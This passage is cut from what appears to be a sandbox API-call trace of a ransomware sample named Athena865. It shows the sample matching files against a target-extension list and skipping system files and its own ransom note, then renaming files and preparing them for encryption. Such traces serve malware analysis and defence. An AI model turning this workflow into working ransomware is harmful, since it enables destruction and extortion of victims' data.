lpString2="$er") returned 1 [0138.156] lstrlenW (lpString="4dd") returned 3 [0138.156] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.156] lstrlenW (lpString="4dl") returned 3 [0138.156] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.156] lstrlenW (lpString="^^^") returned 3 [0138.156] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.156] lstrlenW (lpString="abs") returned 3 [0138.156] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.156] lstrlenW (lpString="abx") returned 3 [0138.156] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.156] lstrlenW (lpString="accdb") returned 5 [0138.156] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0138.156] lstrlenW (lpString="accdc") returned 5 [0138.156] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0138.156] lstrlenW (lpString="accde") returned 5 [0138.156] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0138.156] lstrlenW (lpString="accdr") returned 5 [0138.156] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0138.156] lstrlenW (lpString="accdt") returned 5 [0138.156] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0138.156] lstrlenW (lpString="accdw") returned 5 [0138.156] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0138.156] lstrlenW (lpString="accft") returned 5 [0138.157] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0138.157] lstrlenW (lpString="adb") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.157] lstrlenW (lpString="adb") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.157] lstrlenW (lpString="ade") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.157] lstrlenW (lpString="adf") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.157] lstrlenW (lpString="adn") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.157] lstrlenW (lpString="adp") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.157] lstrlenW (lpString="alf") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.157] lstrlenW (lpString="ask") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.157] lstrlenW (lpString="btr") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.157] lstrlenW (lpString="cat") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.157] lstrlenW (lpString="cdb") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.157] lstrlenW (lpString="ckp") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.157] lstrlenW (lpString="cma") returned 3 [0138.157] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.157] lstrlenW (lpString="cpd") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.158] lstrlenW (lpString="dacpac") returned 6 [0138.158] lstrcmpiW (lpString1="90.WMF", lpString2="dacpac") returned -1 [0138.158] lstrlenW (lpString="dad") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.158] lstrlenW (lpString="dadiagrams") returned 10 [0138.158] lstrcmpiW (lpString1="183290.WMF", lpString2="dadiagrams") returned -1 [0138.158] lstrlenW (lpString="daschema") returned 8 [0138.158] lstrcmpiW (lpString1="3290.WMF", lpString2="daschema") returned -1 [0138.158] lstrlenW (lpString="db-journal") returned 10 [0138.158] lstrcmpiW (lpString1="183290.WMF", lpString2="db-journal") returned -1 [0138.158] lstrlenW (lpString="db-shm") returned 6 [0138.158] lstrcmpiW (lpString1="90.WMF", lpString2="db-shm") returned -1 [0138.158] lstrlenW (lpString="db-wal") returned 6 [0138.158] lstrcmpiW (lpString1="90.WMF", lpString2="db-wal") returned -1 [0138.158] lstrlenW (lpString="dbc") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.158] lstrlenW (lpString="dbs") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.158] lstrlenW (lpString="dbt") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.158] lstrlenW (lpString="dbv") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.158] lstrlenW (lpString="dbx") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.158] lstrlenW (lpString="dcb") returned 3 [0138.158] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.158] lstrlenW (lpString="dct") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.159] lstrlenW (lpString="dcx") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.159] lstrlenW (lpString="ddl") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.159] lstrlenW (lpString="dlis") returned 4 [0138.159] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.159] lstrlenW (lpString="dp1") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.159] lstrlenW (lpString="dqy") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.159] lstrlenW (lpString="dsk") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.159] lstrlenW (lpString="dsn") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.159] lstrlenW (lpString="dtsx") returned 4 [0138.159] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.159] lstrlenW (lpString="dxl") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.159] lstrlenW (lpString="eco") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.159] lstrlenW (lpString="ecx") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.159] lstrlenW (lpString="edb") returned 3 [0138.159] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.159] lstrlenW (lpString="epim") returned 4 [0138.159] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.159] lstrlenW (lpString="fcd") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.160] lstrlenW (lpString="fdb") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.160] lstrlenW (lpString="fic") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.160] lstrlenW (lpString="flexolibrary") returned 12 [0138.160] lstrlenW (lpString="fm5") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.160] lstrlenW (lpString="fmp") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.160] lstrlenW (lpString="fmp12") returned 5 [0138.160] lstrcmpiW (lpString1="0.WMF", lpString2="fmp12") returned -1 [0138.160] lstrlenW (lpString="fmpsl") returned 5 [0138.160] lstrcmpiW (lpString1="0.WMF", lpString2="fmpsl") returned -1 [0138.160] lstrlenW (lpString="fol") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.160] lstrlenW (lpString="fp3") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.160] lstrlenW (lpString="fp4") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.160] lstrlenW (lpString="fp5") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.160] lstrlenW (lpString="fp7") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.160] lstrlenW (lpString="fpt") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.160] lstrlenW (lpString="frm") returned 3 [0138.160] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.160] lstrlenW (lpString="gdb") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.161] lstrlenW (lpString="gdb") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.161] lstrlenW (lpString="grdb") returned 4 [0138.161] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.161] lstrlenW (lpString="gwi") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.161] lstrlenW (lpString="hdb") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.161] lstrlenW (lpString="his") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.161] lstrlenW (lpString="ib") returned 2 [0138.161] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.161] lstrlenW (lpString="idb") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.161] lstrlenW (lpString="ihx") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.161] lstrlenW (lpString="itdb") returned 4 [0138.161] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.161] lstrlenW (lpString="itw") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.161] lstrlenW (lpString="jet") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.161] lstrlenW (lpString="jtx") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.161] lstrlenW (lpString="kdb") returned 3 [0138.161] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.161] lstrlenW (lpString="kexi") returned 4 [0138.161] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.161] lstrlenW (lpString="kexic") returned 5 [0138.162] lstrcmpiW (lpString1="0.WMF", lpString2="kexic") returned -1 [0138.162] lstrlenW (lpString="kexis") returned 5 [0138.162] lstrcmpiW (lpString1="0.WMF", lpString2="kexis") returned -1 [0138.162] lstrlenW (lpString="lgc") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.162] lstrlenW (lpString="lwx") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.162] lstrlenW (lpString="maf") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.162] lstrlenW (lpString="maq") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.162] lstrlenW (lpString="mar") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.162] lstrlenW (lpString="marshal") returned 7 [0138.162] lstrcmpiW (lpString1="290.WMF", lpString2="marshal") returned -1 [0138.162] lstrlenW (lpString="mas") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.162] lstrlenW (lpString="mav") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.162] lstrlenW (lpString="maw") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.162] lstrlenW (lpString="mdbhtml") returned 7 [0138.162] lstrcmpiW (lpString1="290.WMF", lpString2="mdbhtml") returned -1 [0138.162] lstrlenW (lpString="mdn") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.162] lstrlenW (lpString="mdt") returned 3 [0138.162] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.162] lstrlenW (lpString="mfd") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.163] lstrlenW (lpString="mpd") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.163] lstrlenW (lpString="mrg") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.163] lstrlenW (lpString="mud") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.163] lstrlenW (lpString="mwb") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.163] lstrlenW (lpString="myd") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.163] lstrlenW (lpString="ndf") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.163] lstrlenW (lpString="nnt") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.163] lstrlenW (lpString="nrmlib") returned 6 [0138.163] lstrcmpiW (lpString1="90.WMF", lpString2="nrmlib") returned -1 [0138.163] lstrlenW (lpString="ns2") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.163] lstrlenW (lpString="ns3") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.163] lstrlenW (lpString="ns4") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.163] lstrlenW (lpString="nsf") returned 3 [0138.163] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.163] lstrlenW (lpString="nv") returned 2 [0138.163] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.163] lstrlenW (lpString="nv2") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.164] lstrlenW (lpString="nwdb") returned 4 [0138.164] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.164] lstrlenW (lpString="nyf") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.164] lstrlenW (lpString="odb") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.164] lstrlenW (lpString="odb") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.164] lstrlenW (lpString="oqy") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.164] lstrlenW (lpString="ora") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.164] lstrlenW (lpString="orx") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.164] lstrlenW (lpString="owc") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.164] lstrlenW (lpString="p96") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.164] lstrlenW (lpString="p97") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.164] lstrlenW (lpString="pan") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.164] lstrlenW (lpString="pdb") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.164] lstrlenW (lpString="pdm") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.164] lstrlenW (lpString="pnz") returned 3 [0138.164] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.165] lstrlenW (lpString="qry") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.165] lstrlenW (lpString="qvd") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.165] lstrlenW (lpString="rbf") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.165] lstrlenW (lpString="rctd") returned 4 [0138.165] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.165] lstrlenW (lpString="rod") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.165] lstrlenW (lpString="rodx") returned 4 [0138.165] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.165] lstrlenW (lpString="rpd") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.165] lstrlenW (lpString="rsd") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.165] lstrlenW (lpString="sas7bdat") returned 8 [0138.165] lstrcmpiW (lpString1="3290.WMF", lpString2="sas7bdat") returned -1 [0138.165] lstrlenW (lpString="sbf") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.165] lstrlenW (lpString="scx") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.165] lstrlenW (lpString="sdb") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.165] lstrlenW (lpString="sdc") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.165] lstrlenW (lpString="sdf") returned 3 [0138.165] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.166] lstrlenW (lpString="sis") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.166] lstrlenW (lpString="spq") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.166] lstrlenW (lpString="te") returned 2 [0138.166] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.166] lstrlenW (lpString="teacher") returned 7 [0138.166] lstrcmpiW (lpString1="290.WMF", lpString2="teacher") returned -1 [0138.166] lstrlenW (lpString="tmd") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.166] lstrlenW (lpString="tps") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.166] lstrlenW (lpString="trc") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.166] lstrlenW (lpString="trc") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.166] lstrlenW (lpString="trm") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.166] lstrlenW (lpString="udb") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.166] lstrlenW (lpString="udl") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.166] lstrlenW (lpString="usr") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.166] lstrlenW (lpString="v12") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.166] lstrlenW (lpString="vis") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.166] lstrlenW (lpString="vpd") returned 3 [0138.166] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.167] lstrlenW (lpString="vvv") returned 3 [0138.167] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.167] lstrlenW (lpString="wdb") returned 3 [0138.167] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.167] lstrlenW (lpString="wmdb") returned 4 [0138.167] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.167] lstrlenW (lpString="wrk") returned 3 [0138.167] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.167] lstrlenW (lpString="xdb") returned 3 [0138.167] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.167] lstrlenW (lpString="xld") returned 3 [0138.167] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.167] lstrlenW (lpString="xmlff") returned 5 [0138.167] lstrcmpiW (lpString1="0.WMF", lpString2="xmlff") returned -1 [0138.167] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.Athena865") returned 71 [0138.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf.athena865"), dwFlags=0x1) returned 1 [0138.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.170] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28696) returned 1 [0138.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.170] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.171] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.171] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.171] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7320, lpName=0x0) returned 0x154 [0138.173] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7320) returned 0x100000 [0138.175] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.176] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.176] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.176] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.177] CloseHandle (hObject=0x154) returned 1 [0138.177] CloseHandle (hObject=0x17c) returned 1 [0138.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.177] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0138.177] lstrcmpiW (lpString1="J0183328.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.177] lstrcmpiW (lpString1="J0183328.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.177] lstrcmpiW (lpString1="J0183328.WMF", lpString2=".") returned 1 [0138.177] lstrcmpiW (lpString1="J0183328.WMF", lpString2="..") returned 1 [0138.177] lstrcmpiW (lpString1="J0183328.WMF", lpString2="windows") returned -1 [0138.177] lstrcmpiW (lpString1="J0183328.WMF", lpString2="bootmgr") returned 1 [0138.177] lstrcmpiW (lpString1="J0183328.WMF", lpString2="temp") returned -1 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2="pagefile.sys") returned -1 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2="boot") returned 1 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2="ids.txt") returned 1 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2="ntuser.dat") returned -1 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2="perflogs") returned -1 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2="MSBuild") returned -1 [0138.178] lstrlenW (lpString="J0183328.WMF") returned 12 [0138.178] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0183328.WMF" | out: lpString1="J0183328.WMF") returned="J0183328.WMF" [0138.178] lstrlenW (lpString="J0183328.WMF") returned 12 [0138.178] lstrlenW (lpString="Athena865") returned 9 [0138.178] lstrcmpiW (lpString1="83328.WMF", lpString2="Athena865") returned -1 [0138.178] lstrlenW (lpString=".dll") returned 4 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2=".dll") returned 1 [0138.178] lstrlenW (lpString=".lnk") returned 4 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2=".lnk") returned 1 [0138.178] lstrlenW (lpString=".ini") returned 4 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2=".ini") returned 1 [0138.178] lstrlenW (lpString=".sys") returned 4 [0138.178] lstrcmpiW (lpString1="J0183328.WMF", lpString2=".sys") returned 1 [0138.178] lstrlenW (lpString="J0183328.WMF") returned 12 [0138.178] lstrlenW (lpString="bak") returned 3 [0138.178] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.178] lstrlenW (lpString="ba_") returned 3 [0138.178] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.178] lstrlenW (lpString="dbb") returned 3 [0138.178] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.178] lstrlenW (lpString="vmdk") returned 4 [0138.178] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.179] lstrlenW (lpString="rar") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.179] lstrlenW (lpString="zip") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.179] lstrlenW (lpString="tgz") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.179] lstrlenW (lpString="vbox") returned 4 [0138.179] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.179] lstrlenW (lpString="vdi") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.179] lstrlenW (lpString="vhd") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.179] lstrlenW (lpString="vhdx") returned 4 [0138.179] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.179] lstrlenW (lpString="avhd") returned 4 [0138.179] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.179] lstrlenW (lpString="db") returned 2 [0138.179] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.179] lstrlenW (lpString="db2") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.179] lstrlenW (lpString="db3") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", 